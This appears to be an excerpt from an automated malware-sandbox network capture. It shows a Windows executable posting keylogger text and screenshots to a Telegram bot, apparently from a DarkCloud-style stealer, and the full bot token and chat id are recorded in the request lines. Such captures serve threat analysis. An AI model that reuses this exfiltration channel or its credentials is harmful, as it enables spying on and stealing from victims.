Nov 25, 2024 13:55:14.378107071 CET	1236	IN	Data Raw: 68 3d 48 28 67 29 3b 30 3d 3d 3d 6b 26 26 28 6b 7c 3d 66 26 33 32 29 3b 6b 7c 3d 66 26 32 3b 6b 21 3d 3d 68 26 26 49 28 67 2c 6b 29 3b 63 3d 6e 65 77 20 63 28 67 29 7d 65 6c 73 65 20 63 3d 76 6f 69 64 20 30 3b 65 6c 73 65 20 63 3d 67 3b 63 21 3d Data Ascii: h=H(g);0===k&&(k\|=f&32);k\|=f&2;k!==h&&I(g,k);c=new c(g)}else c=void 0;else c=g;c!==g&&null!=c&&Ka(e,f,b,c,d);e=c;if(null==e)return e;a=a.h;f=J(a);f&2\|\|(g=e,c=g.h,h=J(c),g=h&2?Q(g.constructor,Ha(c,h,!1)):g,g!==e&&(e=g,Ka(a,f,b,e,d)));return e}f
Nov 25, 2024 13:55:14.378124952 CET	1236	IN	Data Raw: 6c 6c 28 79 2c 63 61 29 26 26 28 61 3d 79 5b 63 61 5d 2c 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 26 26 61 21 3d 61 26 26 28 63 3d 21 30 29 2c 6e 75 6c 6c 21 3d 61 3f 65 5b 63 61 5d 3d 61 3a 63 3d 21 30 29 3b 69 66 28 63 29 7b 66 6f 72 28 Data Ascii: ll(y,ca)&&(a=y[ca],Array.isArray(a)&&a!=a&&(c=!0),null!=a?e[ca]=a:c=!0);if(c){for(var rb in e){y=e;break a}y=null}}y!=h&&(Ca=!0);d--}for(;0<d;d--){h=b[d-1];if(null!=h)break;var cb=!0}if(!Ca&&!cb)return b;var da;f?da=b:da=Array.prototype.slice.
Nov 25, 2024 13:55:14.378142118 CET	1236	IN	Data Raw: 74 41 74 74 72 69 62 75 74 65 28 22 6e 6f 6e 63 65 22 2c 63 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 59 61 28 61 29 7b 61 3d 76 6f 69 64 20 30 3d 3d 3d 61 3f 64 6f 63 75 6d 65 6e 74 3a 61 3b 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 Data Ascii: tAttribute("nonce",c)};function Ya(a){a=void 0===a?document:a;return a.createElement("script")};function Za(a,b,c,d,e,f){try{var g=a.g,h=Ya(g);h.async=!0;Xa(h,b);g.head.appendChild(h);h.addEventListener("load",function(){e();d&&g.head.removeCh
Nov 25, 2024 13:55:14.498019934 CET	1236	IN	Data Raw: 2e 74 6f 53 74 72 69 6e 67 28 29 3b 62 2e 73 74 79 6c 65 5b 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 3d 68 62 28 32 34 39 2c 32 35 39 2c 32 34 32 2c 32 35 32 2c 32 31 39 2c 32 32 39 29 3b 62 2e 73 74 79 6c 65 5b 22 62 6f 78 2d 73 Data Ascii: .toString();b.style["background-color"]=hb(249,259,242,252,219,229);b.style["box-shadow"]="0 0 12px #888";b.style.color=hb(0,10,0,10,0,10);b.style.display="flex";b.style["justify-content"]="center";b.style["font-family"]="Roboto, Arial";c=X(a)

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49810	149.154.167.220	443	2220	C:\Users\user\Desktop\MSM8C42iAN.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:55:50 UTC	551	OUT	POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-KL:::user-PC\user\8.46.123.75 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 8455 Connection: Keep-Alive Cache-Control: no-cache
2024-11-25 12:55:50 UTC	8455	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 57 63 74 53 4c 6d 77 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 30 37 3a 35 35 3a 30 33 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 37 3a 35 35 3a 30 33 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 37 3a 35 35 3a 30 33 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataWctSLmwW.txt"Content-Type: application/octet-stream[07:55:03]<<Program Manager>>[07:55:03]<<Program Manager>>[07:55:03]<<Program Mana
2024-11-25 12:55:51 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:55:51 GMT Content-Type: application/json Content-Length: 587 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-25 12:55:51 UTC	587	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 36 32 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 38 31 36 35 30 36 38 30 31 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 44 61 72 6b 63 6c 6f 75 64 5f 52 65 73 75 6c 74 5f 62 6f 78 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 44 61 72 6b 63 6c 6f 75 64 5f 52 65 73 75 6c 74 5f 62 6f 78 38 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 31 31 35 38 35 30 36 38 39 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 68 69 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 6f 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 48 52 77 65 62 63 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":2621,"from":{"id":8165068013,"is_bot":true,"first_name":"Darkcloud_Result_box8","username":"Darkcloud_Result_box8_Bot"},"chat":{"id":6115850689,"first_name":"Chi","last_name":"Boy","username":"HRwebc","type":"private"},"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49819	149.154.167.220	443	2220	C:\Users\user\Desktop\MSM8C42iAN.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:55:53 UTC	554	OUT	POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 3932422 Connection: Keep-Alive Cache-Control: no-cache
2024-11-25 12:55:53 UTC	16355	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 63 72 65 65 6e 73 68 6f 74 52 6d 43 43 47 67 41 6b 2e 42 4d 50 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 42 4d 36 00 3c 00 00 00 00 00 36 00 00 00 28 00 00 00 00 05 00 00 00 04 00 00 01 00 18 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 1a 00 24 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="ScreenshotRmCCGgAk.BMP"Content-Type: application/octet-streamBM6<6(<$$######$$$$
2024-11-25 12:55:53 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:55:53 UTC	16355	OUT	Data Raw: 22 16 00 22 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 19 01 24 24 03 2d 46 0c 35 68 15 3b 81 1b 3e 8c 1e 19 aa b2 09 a5 d9 10 84 a9 17 51 59 1f 23 13 21 18 03 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 Data Ascii: ""!!!!!!!!!!!!!!!!$$-F5h;>QY#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2024-11-25 12:55:53 UTC	16355	OUT	Data Raw: 00 1e 11 00 1e 11 00 1e 11 00 1e 11 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f Data Ascii:
2024-11-25 12:55:53 UTC	16355	OUT	Data Raw: 0b 01 ff ff ff 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0a 01 1b 0a 00 1b 0b 01 1b 0b 01 1b 0a 01 76 6c 67 1b 0a 01 1b 0b 01 1b 0b 01 1b 0b 01 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: vlg$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-11-25 12:55:53 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:55:53 UTC	16355	OUT	Data Raw: 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 14 00 21 14 00 21 15 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 Data Ascii: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2024-11-25 12:55:53 UTC	16355	OUT	Data Raw: 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1d 0f 00 1d 0f 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d Data Ascii:
2024-11-25 12:55:53 UTC	232	OUT	Data Raw: 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: $$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-11-25 12:55:53 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:55:59 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:55:59 GMT Content-Type: application/json Content-Length: 592 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49843	149.154.167.220	443	2220	C:\Users\user\Desktop\MSM8C42iAN.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:56:03 UTC	554	OUT	POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 3932422 Connection: Keep-Alive Cache-Control: no-cache
2024-11-25 12:56:03 UTC	16355	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 63 72 65 65 6e 73 68 6f 74 79 56 71 75 53 79 52 78 2e 42 4d 50 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 42 4d 36 00 3c 00 00 00 00 00 36 00 00 00 28 00 00 00 00 05 00 00 00 04 00 00 01 00 18 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 1a 00 24 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="ScreenshotyVquSyRx.BMP"Content-Type: application/octet-streamBM6<6(<$$######$$$$
2024-11-25 12:56:03 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:56:03 UTC	16355	OUT	Data Raw: 22 16 00 22 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 19 01 24 24 03 2d 46 0c 35 68 15 3b 81 1b 3e 8c 1e 19 aa b2 09 a5 d9 10 84 a9 17 51 59 1f 23 13 21 18 03 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 Data Ascii: ""!!!!!!!!!!!!!!!!$$-F5h;>QY#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2024-11-25 12:56:03 UTC	16355	OUT	Data Raw: 00 1e 11 00 1e 11 00 1e 11 00 1e 11 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f Data Ascii:
